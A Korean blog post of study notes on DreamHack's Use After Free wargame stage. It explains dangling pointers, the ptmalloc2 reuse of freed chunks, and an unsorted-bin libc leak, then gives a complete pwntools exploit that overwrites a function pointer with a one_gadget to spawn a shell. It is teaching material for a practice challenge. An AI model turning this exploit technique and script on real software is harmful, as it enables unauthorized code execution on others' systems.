Recent Posts
Recent Comments
Link
«   2024/12   »
1 2 3 4 5 6 7
8 9 10 11 12 13 14
15 16 17 18 19 20 21
22 23 24 25 26 27 28
29 30 31
Tags
more
Archives
Today
Total
관리 메뉴

CIDY

[System_Hacking] stage11_Use After Free(+문제풀이: uaf_overwrite) 본문

Hack/DreamHack(로드맵)

[System_Hacking] stage11_Use After Free(+문제풀이: uaf_overwrite)

CIDY 2022. 7. 7. 04:27

*Dangling Pointer

유효하지 않은 메모리 영역을 가리키는 포인터이다. 만약 malloc으로 동적할당 해준 이후 free로 할당했던 공간을 반환해줬다고 하자. (ptmalloc에 반환) -> 해당 청크의 주소를 담은 포인터를 초기화시키는건 아님 

 

예를들어, int* ptr = (int *)malloc(0x70); 해준 뒤 free(ptr); 해줬다고 하자 -> 0x70만큼의 공간은 할당 해제되었지만 ptr은 여전히 malloc이 반환했던 주소를 갖고 있고, 또다시 free(ptr)해줄 수 있음 -> Double Free Bug 발생 가능.

 

 

*Use After Free

말 그대로 free된 메모리에 접근 가능한 취약점을 말한다. malloc과 free는 할당하거나 해제한 메모리의 데이터를 따로 초기화하지는 않는다 -> 프로그래머는 할당한 공간을 명시적으로 초기화 할 필요가 있음. -> 만약 초기화 해주지 않을 경우, 메모리에 남아있던 데이터를 이용할 가능성 발생.

 

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
struct NameTag {
  char team_name[16];
  char name[32];
  void (*func)();
};
struct Secret {
  char secret_name[16];
  char secret_info[32];
  long code;
};
int main() {
  int idx;
  struct NameTag *nametag;
  struct Secret *secret;
  secret = malloc(sizeof(struct Secret));
  strcpy(secret->secret_name, "ADMIN PASSWORD");
  strcpy(secret->secret_info, "P@ssw0rd!@#");
  secret->code = 0x1337;
  free(secret);
  secret = NULL;
  nametag = malloc(sizeof(struct NameTag));
  strcpy(nametag->team_name, "security team");
  memcpy(nametag->name, "S", 1);
  printf("Team Name: %s\n", nametag->team_name);
  printf("Name: %s\n", nametag->name);
  if (nametag->func) {
    printf("Nametag function: %p\n", nametag->func);
    nametag->func();
  }
}

 

이 코드는 이전에 secret할당 시 입력해준 값이 그대로 남아있는 것을 확인할 수 있는 부분이다.

 

왜 그렇게 되냐? 우선 두 구조체의 size가 같다. ptmalloc2는 할당 요청이 들어왔을 때, 요청된 크기와 비슷한 청크가 bin이나 tcache에 있는지 확인한다. -> 있으면 재사용 -> secret해제 후 초기화되지 않은 공간을 nametag가 바로 재사용한 것.

 

 

*heap 명령으로 gdb에서 할당 및 해제된 청크들의 정보를 조회할 수 있다.

 

 

*예제

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
struct Human {
  char name[16];
  int weight;
  long age;
};
struct Robot {
  char name[16];
  int weight;
  void (*fptr)();
};
struct Human *human;
struct Robot *robot;
char *custom[10];
int c_idx;
void print_name() { printf("Name: %s\n", robot->name); }
void menu() {
  printf("1. Human\n");
  printf("2. Robot\n");
  printf("3. Custom\n");
  printf("> ");
}
void human_func() {
  int sel;
  human = (struct Human *)malloc(sizeof(struct Human));
  strcpy(human->name, "Human");
  printf("Human Weight: ");
  scanf("%d", &human->weight);
  printf("Human Age: ");
  scanf("%ld", &human->age);
  free(human);
}
void robot_func() {
  int sel;
  robot = (struct Robot *)malloc(sizeof(struct Robot));
  strcpy(robot->name, "Robot");
  printf("Robot Weight: ");
  scanf("%d", &robot->weight);
  if (robot->fptr)
    robot->fptr();
  else
    robot->fptr = print_name;
  robot->fptr(robot);
  free(robot);
}
int custom_func() {
  unsigned int size;
  unsigned int idx;
  if (c_idx > 9) {
    printf("Custom FULL!!\n");
    return 0;
  }
  printf("Size: ");
  scanf("%d", &size);
  if (size >= 0x100) {
    custom[c_idx] = malloc(size);
    printf("Data: ");
    read(0, custom[c_idx], size - 1);
    printf("Data: %s\n", custom[c_idx]);
    printf("Free idx: ");
    scanf("%d", &idx);
    if (idx < 10 && custom[idx]) {
      free(custom[idx]);
      custom[idx] = NULL;
    }
  }
  c_idx++;
}
int main() {
  int idx;
  char *ptr;
  
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  while (1) {
    menu();
    scanf("%d", &idx);
    switch (idx) {
      case 1:
        human_func();
        break;
      case 2:
        robot_func();
        break;
      case 3:
        custom_func();
        break;
    }
  }
}

 

보면 알겠지만 human과 robot의 구조체 사이즈가 같다. 따라서 human함수에서 먼저 동적할당 후 long에 원가젯의 주소를 보내준 뒤, robot함수로 넘어가면 된다고 생각해볼 수 있다. 

 

근데 일단 뭘 할려면 릭부터 해야 하는데, 릭은 어떻게 할 수 있을까? -> unsorted bin의 특징을 이용할 수 있다.

 

unsorted binn에 처음 연결되는 메모리 공간은 libc의 특정 주소와 이중 원형 연결 리스트를 형성한다. -> 처음 unsorted bin에 연결되는 청크의 fd와 bk에는 libc내부 주소가 쓰인다. -> unsorted bin에 연결된 청크를 재할당하고 fd나 bk값을 읽어 libc가 매핑된 주소를 계산 가능하다.

 

 

(*fd와 bk를 이용하기 위해서는 ptmalloc2에 의한 동적 할당 체계를 알아야 한다. 혹시 모를 경우 아래 참고 ↓)

https://orcinus-orca.tistory.com/55

 

[System_Hacking] stage12_ptmalloc2

*ptmalloc2 지난 시간에 use after free 취약점을 설명하면서 이런 말을 한 적이 있다. "ptmalloc2는 청크 할당 요청이 들어오면 해제된 청크 중 유사한 크기의 것이 있는지 확인한 후 그것을 우선으로 내

orcinus-orca.tistory.com

 

 

커스텀 함수에서 0x100이상의 청크를 할당 및 해제할 수 있는데, 0x410이하의 크기를 갖는 청크는 free후 bin말고 tcache에 먼저 삽입된다. -> 그러니까 그것보다 더 큰 크기의 청크를 해제해서 unsorted bin에 연결하고, 이를 재할당해서 값을 읽어오면 된다.

 

단, 해제할 청크가 탑 청크와 맞닿아 있으면 안됨. unsorted bin에 포함되는 청크와 탑청크는 병합 대상 -> 걔네둘이 붙어있으면 청크 병합됨 -> 청크 두 개를 연속으로 할당하고 처음 할당한 청크를 해제해야 함!

 

 

설명이 좀 부족한 것 같은데.. small bin크기 이상의 힙 청크를 해체하면 unsorted bin에 들어간다. -> unsorted bin의 fd, bk에는 보통 main_arena + 88같은 main_arena영역의 주소가 들어간다. -> 그 영역이 립시꺼라 립시릭해올 수 있는 것. 

 

근데 심볼에 main_arena + 88이 없는데, 이게 64비트에서 __malloc_hook과 딱 0x10차이라고 해서

main_arena = u64(p.recvline()[:-1].ljust(8, b"\x00")) 
libc_base = main_arena - e.libc.sym['__malloc_hook'] - 0x10 + 0x3e

 

이렇게 해 줬다. 저 0x3e가 뭐냐면 뒷 두자리는 내가 보내준 값으로 오버라이트돼서 대충 맞춰준거다.

 

 

라이브러리 매핑 위치를 보면 릭 잘 됐음.

 

근데 또 원격으로 오프셋 찾아줄 거 생각하니까 화가난다ㅎㅎ

 

from pwn import *

p = remote("host3.dreamhack.games", 19957)
#p = process("./uaf")
e = ELF("./uaf_overwrite")
libc = ELF("./libc-2.27.so")

def custom(size, data, idx):
    p.sendlineafter(b">", b"3")
    p.sendlineafter(b": ", str(size))
    p.sendafter(b": ", data)
    p.sendlineafter(b": ", str(idx))

def human(weight, age):
    p.sendlineafter(b">", b"1")
    p.sendlineafter(b": ", str(weight))
    p.sendlineafter(b": ", str(age))

def robot(weight):
    p.sendlineafter(b">", b"2")
    p.sendlineafter(b": ", str(weight))
    

custom(0x500, b"AAAA", 100)
custom(0x500, b"AAAA", 100) #동시에 두 개 할당(idx = -1이면 해제하지 않음)
custom(0x500, b"AAAA", 0) #처음 할당한 거 해제
custom(0x500, b"B", 100) #재할당

main_arena = u64(p.recvline()[:-1].ljust(8, b"\x00")) 
libc_base = main_arena - libc.sym['__malloc_hook'] - 0x10 - 0x2
print(hex(libc_base))

one_gadget = [0x4f3d5, 0x4f432, 0x10a41c]
oneshot = libc_base + one_gadget[2]
#pause()
human(1 , oneshot)

robot(1)

p.interactive()

그래도 금방 찾았음.

 

드림핵 문제풀이 따라가면서 함수별로 함수 정의했는데 이게 편한듯..